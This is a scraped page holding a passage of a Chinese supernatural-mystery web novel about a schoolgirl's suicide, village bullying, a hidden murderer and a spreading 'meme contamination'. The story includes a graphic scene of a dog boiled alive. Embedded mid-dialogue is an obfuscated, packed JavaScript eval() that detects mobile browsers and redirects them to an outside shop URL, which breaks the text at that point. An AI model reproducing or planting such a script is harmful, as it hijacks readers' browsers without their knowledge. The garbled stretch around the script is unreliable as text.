“比那还可怕,他们为了方便拔毛,烧了一桶滚烫的热水。赵建宇捆住狗的爪子,把狗活活扔进去,堂哥立刻盖上盖子,那只狗发出人类一样的哀嚎。” “有小孩子被嚎叫声吸引过来,问他们在做什么,他爷爷笑呵呵地吓唬小孩,说是在烫婴儿。” “堂哥被小狗挣扎时溅出来的开水烫到手,赵建宇反过来嘲笑他。” “没有人来阻止他们吗?”刘天怡愤慨,“街坊邻居里没有看不得杀生的阿姨姑姑吗?” 婉婷面无表情:“我们村里,女人聚在一起说话都会被男人像麻雀一样赶开,谁来阻止他们?” 没有人会阻止,在这样的村子里,心狠手辣是强大勇敢的代名词——他们管这个叫“一看就有出息”。 一个善良的、富有同理心的小孩在这种环境中长大,通过不断的学习模仿和周边人的“矫正”,最后会被环境同化。 但赵建宇明显不需要缓慢同化的过程,婉婷说得没错,他确实可怕。 “在那之后,很长时间没人敢欺负赵建宇。” “还有人欺负他?” “当然,没有爹妈的孩子在村子里比狗还好欺负。” “好日子没持续多长时间,又有人开始欺负他,那些人也欺负我,那天他们把我们驱赶到一条小河边。” “没有人管吗?”刘天怡气得从栏杆上跳下来,“告老师告家长也不管用?” “村里和这里不一样。小河边发生了非常可怕的事情,欺负我们的人死了一个。” 刘天怡不敢再插话,屏息凝神地听着。 “他们用绳子牵着我们,非要玩什么抢亲游戏。小河离村子有段距离,周边是一片龟裂的河床,不但没人居住,连鸭子都不愿意游过来。” “恶心的游戏进行到一半,一个魁梧到不正常的男人突然冒出来,我眼睁睁看着他两拳打死了那个领头的孩子。” “大家还没反应过来,男人就逃走了。然后我们发着抖聚在一起,一动不动地等来村里的大人。” “后来县里的警察来了,市里的超管部也来了,他们联合搜索整个村子,没有找到任何可疑人员。” “你们不害怕吗?”刘天怡双臂交叉在胸前,“我是说,你们看清了那个男人的长相,不怕他找你们吗?” 婉婷摇了摇头:“因为这件事,我爸把我接到了燕曲市。听警察说那个男人很大概率是超能力者,可能拥有藏匿或逃跑的能力,至今没找到他。” “实在是太可怕了,别说这些了,我们去喝点热的吧。”刘天怡和婉婷走下天桥,加入了买奶茶的队伍。 她们裹紧大衣,在人群中沉默地站了好一会,才把恐怖的赵建宇从脑海中赶走。 刘天怡一边划着手机,一边偷瞄婉婷,终于排到她们。 “我请你。”刘天怡热情地说,“贺卡里的那封信你看了吗?” “谢谢你,不用了。那封信我看过,要去你自己去。” “你不去吗?只是个生日会而已,这个月22号正好是我生日,她说和她的生日相差三天,我们可以一起过。”刘天怡下单了两杯热奶茶。 “你要和一个霸凌你的人一起过生日?”婉婷像是听到了什么天大的笑话,“干什么?你要和她戴同款发卡?” 刘天怡央求:“婉婷,陪我一起去吧,就当是我的生日礼物。” 无法言说的失望转化为熊熊怒火,婉婷提高语调:“我不是正在给你过生日吗?她根本不想带咱玩,咱们为什么要去凑热闹?” 刘天怡放下手机。 “你知道他们天天拿咱们找乐子,说什么开动物园的和园长,还说什么看动画片玩过家家。” “她邀请你,只是表面上做样子,内心深处肯定不希望你去。刘天怡,你成熟一点!这你都看不明白吗?” “你才不成熟呢!”刘天怡也抬高嗓门,“我们难道要一直做班级的边缘人?” “再说了,生日会不完全为她开,年级里有几个人都在这几天过生日,又恰巧碰上圣诞节,她借此机会组织一场聚会而已。” “她组织的生日会不就是她的生日会吗?” 刘天怡调整了一下语气:“我和爸妈聊天,谈论到这学期的事。他们说学校里有这种小团体很正常,我要做的不是反抗他们,而是想办法加入他们。” “加入他们?他们排挤你!”婉婷冷笑。 “仔细想想,也没到排挤的程度。而且我爸妈说,初高中同学都是宝贵的人脉关系,未来哪天可能就用上了。” “我一开始无法接受他们的说法,和他们大吵一架,后来觉得也有道理。而且动物园那事是我吹牛,我没什么好辩解的。” 婉婷轻轻地问:“那我呢?” “婉婷,我爸妈还说......” “你爸妈,你爸妈!什么都是你爸妈说!”婉婷尖叫。 刘天怡坚持把话说完:“我爸妈还说,如果你朋友不跟你一起去生日会,让她回家和她父母讲讲学校里发生的事,她最后也会去的。” 仿佛被当头棒喝,婉婷说不出一句话。 刘天怡站在原地,用一种坚定又期待的眼神看着她,她张了张嘴,却发不出一点声音,最后她选择转身离去。 犹豫了一下,刘天怡没有去追,她一路赶到生日会包间,被发卡女生亲自迎接,发卡女生第一时间向她身后看:“婉婷没和你一起来?” “她家里有事来不了。”刘天怡帮婉婷编了个谎话。 “她家啊,那正常。我和她是小学同学,她家一直那样。” “她家怎么了?” “小学时的一次家长会。”发卡女生轻描淡写,“她两个妈都来了,最后她爸也来了,把她妈赶走了。” 刘天怡听糊涂了:“什么两个妈,什么赶走,你在说什么?” “字面上的意思,她有两个妈,她是她爸在外面和鸡生的,小学五年级前一直养在外面。” “但他爸的老婆不同意,觉得鸡养大的孩子将来会给家里添麻烦,给鸡一大笔钱,让鸡离孩子远点。” “那、那家长会上被赶走的那个。”刘天怡都结巴了。 发卡女生咯咯笑起来:“当然是她生母呀。” 刘天怡没有 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幻忆师被隔绝在门外,在门被关上的前一秒,一个孤独坐在角落的矮胖男孩缓慢转动颈部,隔着门缝与她遥遥对视。 他绝对是赵建宇,被刘天怡认定在宿舍楼偷听的赵建宇。幻忆师顶着眩晕感踉踉跄跄地回到教室,直接扑向手账本,翻到最后一页。 25号两人不欢而散后,所谓的密信变成了刘天怡的日记本,婉婷整整一周没有上学。 新历93年12月30日。 【婉婷,你再不来学校我就去找赵建宇了,我不怕他。】 新历93年12月31日。 【婉婷,我听赵建宇讲你过去的事了。我错了,求求你来学校吧,我再也不和你吵架了。】 新历94年1月1日。 【原来人死了真的什么都没了。】 幻忆师不考虑王悦在哪,也不考虑他们在找什么,她来到31号当天。 少年刘天怡站在学校走廊的荣誉墙前,荣誉墙正中间贴着赵建宇的照片。 照片上那个举着奖状的腼腆男孩似乎永远无法和婉婷描述中可怕的赵建宇重叠在一起。 【他成绩优异,努力上进,是本校的异地招生计划帮助他实现了跨越千山万水的求学之梦。 面对家中艰难的情况,赵建宇同学没有放弃对知识的渴望,他在学业上屡创佳绩,荣获了学校特设的助学金及励志奖学金。 这些荣誉不仅是物质上的支持,更是对他逆境中成长的最高赞誉。】 一个声音冷不丁地响起:“你在看什么?” “我在、我不是......”荣誉墙上的人突然出现在背后,刘天怡被吓得打了个冷颤。 这个年纪的男孩不如女孩发育得快,刘天怡比赵建宇高,但刘天怡不敢看他的眼睛,他悄无声息站在原地,简直像黑暗里窸窸窣窣的昆虫。 人类会主动和阴暗角落中的蟑螂对视吗?刘天怡不知道。她勉强挤出一个微笑,疯狂催促自己编个合适的借口。 意料之外的,赵建宇先开口了:“你叫刘天怡,我知道你,你不认识我。” “我当然认识你,荣誉墙上有你的名字。” “我是说你不知道我具体是个什么样的人,但我知道你。你是赵婉婷的跟屁虫,是那种从小泡在蜜罐里长大的小孩,稍有不顺就发脾气。” 敏锐地察觉到什么,刘天怡恳切地说: “我确实喜欢发脾气,因为我乱说话,现在婉婷不理我了。你和她从小一起长大,你知道她为什么不来上学吗?她现在在哪里?” “从小一起长大?”赵建宇古怪地重复了一遍。 “婉婷不是这么说的,是我这么理解的,她只说你们是小学同学。” “她还说什么了?” “什么也没说。”刘天怡矢口否认。 赵建宇眯起本就不大的眼睛:“那你怎么得出‘我们一起长大’这个结论?” 刘天怡如鲠在咽,她虽然想过找赵建宇,但没想到赵建宇主动找她。她只能看着赵建宇冷笑一声,背着手转身离开。 15. 超级英雄 “等等!”刘天怡的大脑一片空白,“我是说,我想起来婉婷说什么了。” 赵建宇停住脚步,转过头似笑非笑地看着她。 婉婷说了什么?刘天怡努力调动着自己的脑细胞,想象着婉婷站在她面前徐徐道来的样子。 在她思考的整个过程中,赵建宇始终高高在上地挂着一丝若有若无的笑容。 他的表情微妙地悬在戏谑与冷漠之间,仿佛面前是个谎话连篇的、不值得嘲笑的蠢货。 “婉婷说她敬佩你。” 这句话脱口而出的同时,赵建宇脸上的表情僵住了。 那不如说是一种畏惧,畏惧他虐待动物的凶狠;畏惧他自我同化的残忍;畏惧他燃烧自我的内驱力。 过了许久,赵建宇说:“你听过不少传言吧?其实在网上能查到,这在我们那个小地方是一件大事。” “跟我去一个地方吧,这里会被别人听到。” 安静地跟在赵建宇身后,刘天怡来到了一个熟悉的地方——宿舍楼后身。 他们沿着长满爬墙虎的围栏走了一会,面前是一扇栅栏门,赵建宇扭头对她诡异一笑,身手矫捷且熟练地顺着栏杆爬上去,翻到了另一边。 好灵活一胖子,幻忆师帮刘天怡感叹。 “这里不是高中部宿舍吗?” “我是特招进来的贫困生,没钱在外面租房。既然是免费的,那住哪里都可以。”赵建宇的声音像是在平静地陈述事实,听不出任何情绪。 栅栏门后是宿舍楼的楼门,刘天怡又跟着赵建宇爬了一层楼,进入他的宿舍。 宿舍墙上贴着超级英雄和超级反派的海报,这些人物刘天怡叫不上名字。 幻忆师也叫不上名字,只知道是新历初流行过的玩意,那时人们相当喜欢以超能力为题材的文娱作品。 赵建宇坐下后自顾自喝了杯水,对正在四处打量的刘天怡说:“别紧张,这间寝室实际上只住我一个,另外一个人有机会就回家住。” “现在,我们来讲讲以前的事吧。” “赵鸭庄是个小村子,离繁华且现代的燕曲市有五百公里,那里是我和赵婉婷的家乡。” “听名字也知道,这里的人都姓赵,还都靠养鸭子活着。” 刘天怡努力表现得像从没听婉婷讲过的样子:“那些传言是不是婉婷不来上学的真正原因?” “传言一半是真的,一半是假的。赵婉婷确实是个私生女,但她妈妈不是妓女,只是个养鸭子的村妇,被她爸骗了而已。” “她爸是我们那儿的名人,17岁离开村子打工,整整15年没和家里联系,村里都以为他死了。” “他回来的时候,锣鼓声天,鞭炮齐鸣。那句话怎么说来着,富贵不还乡如锦衣夜行。” “村里所有姓赵的都激动坏了,想让赵老板带他们出去发财。赵老板全部拒绝,但没拒绝那个女人,这才有了赵婉婷。” “过几天赵老板消失了,那是真正意义上的消失。他走后村里人才发现,他没留下详细住址,没留下电话号码,连自己公司的名字都说得含糊不清。” “村里一部分人因此嫉恨上了那个女人,连带着她未出生的孩子,你无法理解吧?” “可以想象出一点。”刘天怡嗫嚅,她对婉婷越发愧疚。 “那不可能。”赵建宇轻蔑地说,“你没体验过那种穷困,你不可能理解他们。” “这种情况随着赵婉婷长大也没有好转,村里小孩欺负人可不会像燕曲一中的校园霸凌那么文明,都是怎么恶心怎么来。” “我很不幸也是被欺负的一员,至于我为什么是,你不要多问。”赵建宇看着刘天怡一副欲言又止的样子,嫌恶地皱眉。 “他们欺负人时无非是编排点男女之间下三路的烂事,说我们两个是一对。” “我好几次想直接还手打他们,往死里打一次就能打服,但都被赵婉婷拦下了。” “后来有一次,他们把我们用绳子绑起来,牵到村子小河边上,逼我们在淤泥里对着鸭子下跪拜堂成亲。” “我实在忍不住想要动手时,一个高大强壮的男人突然从芦苇里窜出来,把带头那个狗娘养的小子打死了。” “其他小孩全吓跑了,我们两个被绳子绑着动弹不得,那个奇怪却威武的男人帮我们把绳子解开,随后就消失不见。” “婉婷呢?”不知是哪来的勇气,刘天怡盯着赵建宇的眼睛,“婉婷也看见那个男人了?” “赵婉婷吓得不敢抬头,直到那男人走了还紧闭着眼睛。” “后来呢?” “后来警察来了,从家里把所有人找齐,挨个录口供。他们带着一群人在村子周围找了好几天,还根据小孩们的描述画了画像通缉他。” 深深地看了他一眼,刘天怡想起这几天一直徘徊在心中的疑问,她回忆着电视剧和小说里的台词,尽量问得专业又得体。 “根据你的描述,他杀死被害人时必然会留下指纹,警方带人过去,提取指纹后一比对就能锁定杀人犯身份。” “啊对对对,你最聪明。”赵建宇阴阳怪气,“你都能想到的事警察为什么想不到?但好几年过去了还是没抓到人。” 好不容易积攒起来的勇气瞬间消散,刘天怡望向赵建宇身后的海报,海报上左边是一群超级英雄,右边是一群超级反派,双方面目狰狞地对峙着。 她不由得好奇地问:“这些超级英雄你最喜欢哪一个?” 抬头看了看她,赵建宇又露出那种莫名的笑容:“我都不喜欢。” 刘天怡决定换个他可能喜欢的话题来缓和一下紧张的氛围:“你两次提到想还手,可他们是一群人,你和婉婷两个人准备怎么打他们?” 稳稳地坐在床上,赵建宇肉眼可见得高兴:“你一看就没打过架,哦对,你是个女的,打过架才奇怪。” “一个人和一群人打架是有技巧的,只要用四肢死死缠住其中一个,最好缠住领头的,保护住自己正面弱点的同时攻击他薄弱处,把其他人都吓住就行了。” 想象了一下他描述的姿势,刘天怡一阵恶寒:“把耐打的后背留给别人,然后用牙齿撕咬对方的眼睛耳朵?” 赵建宇更高兴了:“你很懂啊,必要的时候把额头也用上,头顶这块骨头可硬了。最好再见点血,那些软蛋就——” “这个计划完全不用婉婷参与。”刘天怡打断他,“婉婷为什么拦着你,你又为什么被拦住了?” 这下赵建宇不高兴了:“我怎么知道她为什么拦着我?女的啊,就是那样,怕事怕得要死。” 凭借着对婉婷的了解,刘天怡发现自己不那么害怕赵建宇了,她甚至尝试用老师训斥学生的口吻掌握谈话的主动权。 “按照婉婷的性格,我大概能猜到原因。你如果因打架被记过甚至劝退,会无法进燕曲一中,无法逃离那个村子。为什么要用一个错误来惩罚另一个错误——” “管你什么事,又管赵婉婷什么事?她只是懦弱不想惹事!”赵建宇怒吼出声。 他生气了,刘天怡却像抓到了破绽: “当然管我的事,赵婉婷是我朋友,她的事就是我的事。而且她一周没来上课了,她现在在哪,你知道吧?” 赵建宇又不说话了。 盯着她看了一会,赵建宇嗤笑一声:“你朋友?为了个朋友你还要去天涯海角找她?” “不然呢?你没有很重要的亲人朋友吗,她为你付出,你也会为她付出。” “闭嘴,太恶心了。”赵建宇摸着手臂上的鸡皮疙瘩,嫌恶地说,“我没有,我也不需要。” “那婉婷呢?就算不是我说的这种朋友,她曾经也和你共同遭遇过不幸。” 赵建宇从喉咙里挤出几声漏风一样的笑:“那叫不幸?你是这样理解不幸的?” “算了,看在她的面子上,我劝你明天别来学校。” “为什么不能来学校?” 刘天怡还想追问,赵建宇却下达了逐客令:“你该走了,这里是男寝。” “现在就走。” 站在寝室门前,刘天怡最后看 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又是一阵沉默,班主任老师看见校长在使眼色,他赶紧说:“赵婉婷周一请假,到今天一直没来。” “她周一请的几天假?”年轻警察沉声问。 “一天的,周二早晨我联系不上她,只能给她妈妈打电话,她妈妈说应该是回老家了。” 年轻警察质疑:“应该?” 班主任堆起一个尴尬的笑: “她妈妈好像是继母,具体的我也不清楚。学生家庭关系比较复杂,而且这个年纪的学生心思敏感,我们做老师的不敢问得太详细。” 柔和的夜风吹进半开的窗户,拂过刘天怡的发梢,她仿佛从冬眠中惊醒:“已经这么晚了?” 她妈妈立刻接话:“对啊,都这么晚了,孩子还没吃晚饭呢。警察同志,我看她什么都不知道,我们把她带回家了。” 年长的警察把窗户完全打开,在月光的照耀下,他的声音越发轻柔:“婉婷好几天没上学,你怎么知道她今天放学后会来?” “我不知道,我只是想等她,今天再不等明天就是周末了,周末没有机会等。” 两位警察对视一眼,眼神一触即分,他们好像认同了这个说法。 “你是她的好朋友?” “都是同学。”她爸爸赔笑,“算不上特别好的朋友,这孩子和谁关系都不错,上周刚去参加班里同学的生日会。” “婉婷去了吗?” “婉婷没去,那是我最后一次见到她。”刘天怡盯着月亮,像是要把月亮看出个洞,“我每天都想和她道歉,但她不来上学。” “为什么和她道歉?” “她不想去那个生日会,我非让她去,我们吵了一架,最后不欢而散。” 刘天怡的妈妈站在她身后,一副欲言又止的样子。 年轻警察问:“除了这件事还有别的事吗?或者别的什么人,和她关系好的,和她关系差的,让她情绪不对的。” 眼前闪过发卡女生和赵建宇的影子,刘天怡用力摇了摇头,好像这么做就能把他们全部甩开。 她的肚子适时地咕噜作响,妈妈又一次提出带她回家吃饭的请求,警察们不得不应允。 “和妈妈回去吧,以后到点放学准时回家,如果想起什么事情可以再联系我们。” 刘天怡摇摇晃晃地站起来,都说胃是情绪的器官,她用胃部感觉到迟来的饥饿,以及一种茫然的愤怒。 如果说她之前如同蒙着一层灰色的玻璃罩,那么饥饿感让她短暂地回到现实。 “我想起来了。” 警察们立刻站起来。 “婉婷说过她家乡的一起杀人案,会不会和这个有关系?” “什么时候的杀人案?” “3年前,小学四年级。” “谢谢你提供这个消息。”年长警察点了点头,“先回去休息吧。” 刘天怡和她的家人一起走进夜幕中。 月光如水。 16. **** 这不对。 实在是太不对了,哪里都不对。 不间断地进入不同时间点带来天旋地转的感觉,视野中有个黑点在不停地闪烁,幻忆师扶着讲桌干呕。 与此同时,庞然的兴奋笼罩着她,让她懒得去抑制呕吐的欲望。幻忆师有种预感,她已经离真相很近了。 而她是如此热爱真相,如此渴求真相,规则在真相面前似乎都不再重要。 赵婉婷和赵建宇,两个说谎的怪小孩,如果把他们讲述的故事罗列在一起,会发现三个不同点: 1.婉婷提到龟裂的河床,没有鸭子的小河;赵建宇却说河边有湿润泥地、芦苇和鸭子。 2.婉婷说自己亲眼看见杀人犯打死人;赵建宇说婉婷胆小如鼠,全程紧闭双眼,连杀人犯的长相都没看到。 3.婉婷解释案发后她和其他孩子待在一起等大人来;赵建宇说大家全被吓跑了,各自回家。 谎言所提供的信息并不比真话少。婉婷是个好孩子,不代表她不会说谎;赵建宇是个残忍可怕的人,不代表他说的全是谎话。 从第一点不同可以简单判断,他们中有人在隐瞒事发地的环境。 仅针对第一点,假设婉婷为真,赵建宇为假。那么婉婷描述的“杀人犯突然冒出来”不具备发生的条件。 小河边龟裂的河床通常出现在干旱时期或河流改道枯竭时,这期间小河水位下降,河里无法藏下一个壮硕的男人。 龟裂的土地和远离村落的荒野也容不下能遮挡成年人的植物生长。 杀人犯没有藏身之处,不可能突然冒出来。 假设赵建宇为真,婉婷为假,可以满足二人所说的“杀人犯突然出现”,但无法解释婉婷为什么在此处说谎。 一个大胆的猜测可以解释婉婷说谎的原因——她认识杀人犯并且想要包庇他。 她想用谎言和后续警察给出的结论误导听者,让听者觉得杀人犯是个来历不明的、拥有隐匿或瞬移能力的超能力者,只有这种超能力才可以突然现身杀人并逃脱后续追捕。 这个猜测是建立在赵建宇没有说谎且不认识杀人犯的前提下。 可是在第二点不同中,赵建宇又强调婉婷没有看见杀人犯的长相,他似乎在帮婉婷掩盖什么,他们很可能互为共犯。 第三点不同更是有趣,其他孩子作为除二人外的目击证人,案发后被两人安排了不同的去处。 此处不必分析谁在说谎,只要看穿说谎者的目的:帮助自己的共犯掩饰干扰证人或篡改证据的事实。 婉婷说和大家在一起,有干扰证人的可能;赵建宇说大家全跑了只剩下他们,有篡改证据的可能。 幻忆师偏向于前者,而且她笃定,这里的“干扰证人”可不是简单的威胁或收买,村里的小霸王们不会被两个爹不疼娘不爱的穷小孩胁迫。 刘天怡1月1日的记忆也很奇怪,她认为自己等婉婷等睡着了,根本没见过婉婷。 但她的记忆中清晰地记载着婉婷的死亡现场,而且是从高楼俯视的现场,简直像是站在婉婷身边目睹跳楼自杀一样。 还有如今被伪人李老师投放到学校的枯败王朝,追着刘天怡要东西的伪人王悦。 模因污染为什么对刘天怡无效? 这个问题的答案昭然若揭——婉婷拥有消除记忆并抵抗模因污染的物品,她把它留在刘天怡身上。 她曾经用它消除了赵鸭庄杀人案目击者的部分记忆,消除了刘天怡目睹她自杀的记忆。 在她死亡5年后,她留下的东西还在保护她的挚友免受模因的伤害。 幻忆师划开刘天怡的手机屏保,输入940101,密码正确,手机却被消息栏疯狂弹出的通知信息卡住了。 点开通知,全是微博的转发和评论,刘天怡10天前发了一篇长文,内容是婉婷跳楼事件、赵鸭庄杀人事件和她自己的推论。 她得出了与幻忆师一样的结论:婉婷认识杀人犯且用某种方式包庇他,赵建宇知道这件事并包庇婉婷。 按照时间正序查看,前期的评论和私信大多在说刘天怡小说写得不错,直到有人翻出8年前的坛李县报道,所有人才意识到这是真事。 有条热评很显眼:婉婷是怎么包庇杀人犯的,难道要让所有人都忘记他的长相? 但据赵建宇所说,警察根据孩子们的口述画出了通缉令,说明小目击者们记得杀人犯长什么样。 或许婉婷那件物品的能力比消除记忆更加可怕,她用它篡改了孩子们的记忆,把杀人犯换成一个世间不存在的替死鬼。 转发区有人根据这点大开脑洞,认为杀人犯是被婉婷一句话带过的妈妈,赵建宇口中养鸭子的村妇。 幻忆师捧着手机陷入沉思,如果真相是这样,还有一个无论如何也说不通的点: 婉婷为什么不把赵建宇的记忆一起消除? 给赵建宇那样阴森的人留下妈妈是杀人犯的把柄,可不像婉婷这么聪明的孩子会做的事。 依据婉婷对赵建宇的描述,她可能对赵建宇怀有敬畏之心,但话语中的厌恶是藏不住的。 不如说畏惧夹杂着厌恶才是她对赵建宇的全部感受,所谓的尊敬只是刘天怡用来讨好赵建宇的谎言,不是婉婷亲口承认的。 除非赵建宇也认识这个杀人犯,还必须是他熟悉的、亲近的、想要袒护的人。 在这种情况下,赵建宇会成为婉婷天然的共犯,自然不必消除他的记忆。 谁有这个资格被赵建宇袒护?整个故事里和赵建宇有关的人物只有那几个,爷爷、爸爸、堂哥和婉婷。 还有他妈妈,堂哥口中“和别的男人跑掉”的妈妈。 但幻忆师从来不信男人嘴里老婆跑了这种话,她受政府法律援助机构邀约多次去不发达地区参与公益项目。 每个前来诉苦的男人都没说实话,调查后不外乎老婆被打跑了、老婆是被拐卖的找机会逃跑了。 甚至还有把老婆杀了后来报案说她跑了,以此掩盖自己罪行的男人。 况且从婉婷叙述的杀狗事件中,赵建宇对他的母亲似乎怀有恨意。 不对。 幻忆师的脊背突然有种过电般的凉意,她意识到了,在赵建宇眼里,没有谁配得上被他如此袒护。 常年打工不回家的爸爸配不上;愚昧野蛮的爷爷配不上;抛弃他的妈妈配不上;杀狗取乐的堂哥更配不上;懦弱怕事的婉婷还是配不上。 他只会袒护他自己。 小学四年级,赵建宇在河边觉醒超能力,变成一个他心目中的超级英雄,杀死霸凌者,拯救了自己。 赵婉婷帮助他消除了所有目击者脑中“赵建宇有变身能力”的记忆,通过口供误导警方,让世人以为杀人犯另有其人。 婉婷确实是个诚实的好孩子,她虽然没告诉刘天怡真相,但她讲故事时没有说谎。 赵建宇才是那个谎话连篇的杀人犯,没有什么能藏人的芦苇,杀人时婉婷没闭眼,案发后孩子们也没走。 幻忆师把手账本翻回第一页,抚摸着刘天怡的字迹。 【婉婷,我不在乎什么是好人了,我只想成为自己认为的好人。】 或许对刘天怡来说,自揭伤疤将5年前的事情公之于众,是一种她认知中的好人行为吧。 婉婷之死就是刘天怡的锈蚀之剑,她用剑把自己雕刻成如今的样子。在微博长文的最后,她疲惫地说自己没能找到婉婷自杀的原因。 她只能把一切归结于痛苦与内疚的折磨,包庇的罪行使婉婷不堪重负跳楼了。 那么赵建宇为什么不让刘天怡在1月1日当天去学校?只是为了保护刘天怡,不让她亲眼看见挚友自杀? 赵建宇可不是这么善良的人,婉婷也不是这么脆弱的人。 幻忆师捏着粉笔,尝试写下新历94年1月2日,什么都没发生。 她一边思考着婉婷如何把“东西”留给刘天怡,一边用手胡乱涂掉数字,把日期改成99年1月1日。 “砰”地一声响,幻忆师被弹到教室的地板上。 这黑板还有脾气。幻忆师揉了揉后背,从地上爬起来,和拿着传单推门进来的男学生面面相觑。 看到A4纸传单的那一刻,她应激般把目光固定在男学生脸上,将他的五官仔细描摹了一遍。 很好,眼睛鼻子嘴都在正常的位置与合适的角度上,不是伪人。 可怜的男学生被她看得毛骨悚然,但还是坚持完成任务,把传单塞给她:“我听见声音就进来了,同学,来老礼堂看话剧啊!” 幻忆师熟练地用余光瞄了一眼众王之王,发现祂还是干干红红地站在那里,静静地观察着她,她只能不情不愿地接过传单。 传单上是她向被撞倒的学生描述过的众王之王长相,幻忆师的心沉到谷底。 她指着传单上像是干尸的红色影子:“这是谁画的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061735|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “新媒体中心做的,他们采访完话剧社立刻回去做了传单,还发了学校公众号。” 那岂不是全校都被污染了? 幻忆师无法想象,她突然想起王悦的话,伪人给出的线索或许能帮她找到婉婷留下的“东西”。 她把传单还给男学生:“有一件东西,我不知道,你不知道,没有人能知道。这东西是什么,被放在哪了?” “啊?”男学生傻傻地看着她,“同学你在说什么?不如来了解一下枯败王朝吧,众王之王,枯败共主......” 幻忆师捂着耳朵夺门而出,她想起这个问题该问谁了。 沈教授在隔壁教室上课。 轻轻按下门把手,蹑手蹑脚地溜进教室,幻忆师发现自己完全多此一举,因为教室里只有沈教授一人。 她踩着短跟尖头的裸色高跟鞋,每根头发都被打理得一丝不苟。即使讲台底下仅剩幻忆师一个学生,她也开始中气十足地讲课。 “今天我们讲模因。模因这个词最早来源于1976年出版,英国演化理论学者理查德·道金斯所著的《自私的基因》一书。” “其含义是指在诸如语言、观念、信仰、行为方式等的传递过程中与基因在生物进化过程中所起的作用相类似的那个东西。” “它是指文化领域内人与人之间相互模仿并散播开来的思想,通常拥有一个或多个虚拟介质,可以是一张图、一个故事或一首歌,甚至可以是一个拟声词。” 幻忆师在第一排正中间的位置坐下。 “经过独立个体的加工,模因如同基因突变一般出现大量的变种,这种突变有好的一面,也有坏的一面。” “好处当然是传播得更快更广,坏处是加工的过程中会模糊、改变或者丢失原始信息。总有一个最终也是最优的变种被大家选出来” 那张A4纸上模糊的影子立刻出现在幻忆师眼前,经过她的口述,众王之王的形象被学生画出来,这无疑是一种加工,她无意中成为模因污染的帮凶。 幻忆师像小学生一样乖乖举手提问:“教授,有什么遏制模因传播的方法吗?” “当然有。”沈教授扶了扶眼镜,“模因抑制是能够停止模因传播要素的物品,没有人见过它,没人知道它的名字,可是它必然存在。” 在黑板上画了两条相交的曲线代表双螺旋DNA,沈教授继续说: “我们的DNA序列中有遗传效应的片段只占10%,绝大部分是不参与记录和表达遗传信息的,这些基因由抑制它们的表达序列来控制。” “模因抑制的作用如同基因中的这些抑制序列。”沈教授把黑板上的图形擦掉。 “它在哪里?” “没有人知道它在哪里。模因抑制拥有自我屏蔽特性的概念,一种穿透其本身性质,阻止其传播的概念,你甚至无法记录它也无法记忆它。” 沈教授讲到兴头上,缓缓踱下讲台:“在你问我下一个问题前,我必须先问你一个问题。此时此刻,你知道自己的真名吗?” “我叫刘天怡。”幻忆师尽量维持住面部表情。 “我是说你的真名,孩子。” 幻忆师一言不发。 沈教授在她面前站定,透过无框眼镜的玻璃片审视着她。 幻忆师确信,这位教授不是在审视刘天怡。 她在这种压力下斟字酌句:“没有意义,那不是我的真名。” “你如何知道那不是你的真名?”沈教授背对窗户,逆着光露出一个冰凉的笑容。 “模因抑制便如同此时此刻此地你的真名,它是一个自我保守的秘密。任何传播行为都会被模因抑制阻止,包括传播模因抑制定义这件事本身。” “所以,我刚刚说过的那些话语,会全部被模因抑制屏蔽在你的记忆外。” “尽管如此,我还是想多举几个例子——模因抑制是数学分析课上你只会使用却无法分享的公式;是某个网站上一长串你自己也不记得的登录密码;是昨晚你回忆不起具体内容却心有余悸的噩梦。” “它对你来说是真相,对他人来说是谎言,是一个明晃晃的阳谋。” “综上所述,你知道模因抑制是什么了吗?” 幻忆师眨了眨眼:“您成功解释了模因抑制,但我们都不会记得。” 沈教授欣慰地笑了:“我还有一个很好的例子能够解释模因抑制,但是我忘了。” 17. 道白 阶梯教室内,幻忆师拾阶而上,她走到大门前还没碰门把手,“模因抑制”的概念已经从她脑海中消失得一干二净。 如同夏季的一场飓风席卷麦田,连最细小的麦穗也不愿放过,只剩下突兀的、光秃秃的土地,用一片狼藉提醒她忘记了什么至关重要的事。 她能够记住的只剩下忘记本身:我记得婉婷给刘天怡的“东西”是什么,但是我忘了。 这种感觉对她来说不亚于抽筋扒骨般的折磨,一股无名的怒火涌上心头,像是一个濒死之人站在风平浪静的茫茫大海上四顾无人,连遗言都无处交代。 沈教授叫住了她:“有一个学生刚刚好像在找你。” 是谁,黄子璇吗,她逃过了污染?幻忆师烦躁地挠了挠脖子:“是一个穿摄影马甲的女学生?” “不是,是位矮个子女生,说话声音很小,她要找穿卡其色风衣染彩色头发的人。” 听起来是被她留在储藏室的圆脸女生,幻忆师有些意外。 “谢谢您提醒。”幻忆师告别沈教授向一楼储藏室出发,没想到被堵在了楼梯上。 圆脸女生在楼梯拐角处等她,像个小动物一样蹲在墙角,看上去可怜兮兮的。 “太好啦,你没走!我挨间教室找你,怕和你错过,只能在楼梯这里等着。” 还是只聪明的小动物,知道在她的必经之路堵她,幻忆师心情很好。而且在人来人往的地方等这么久,竟然没被污染。 “找我做什么?外面很危险,回储藏室吧。” 圆脸女生从墙角站起来,揉了揉发麻的腿,鼓起勇气大声说:“我被子璇拉去看话剧了,那个话剧有问题,她看了就不走,有什么办法能救她吗?” “你说你看了话剧?”幻忆师很惊讶,“看完后没被污染?” “污染?” “你有没有感到什么不对劲的地方?比如崇拜众王之王念诵祷词,并产生向他人狂热推荐话剧的冲动。” “没有。”圆脸女生不安地说。 幻忆师定定地看了她一会,突然发问:“你是不是瞒着我什么事?” “这不是黄子璇一人的问题,学校里所有人都被污染了。” “我没想瞒着你,正要说这件事,我在储藏室架子底下发现一堆被撕碎的纸片。”圆脸女生赶紧解释,“你走后才发现。” “给你,我把它们粘上了。” 皱巴巴的纸上印着一段文字: 【请将我笔下的文字送给那些灵魂,那些在深海里窥探阳光;在狂风中抓住细草;在悬崖下仰望星空的灵魂。我落笔只为你们,你们的声音从海里从风中从崖底传来,无人回应。 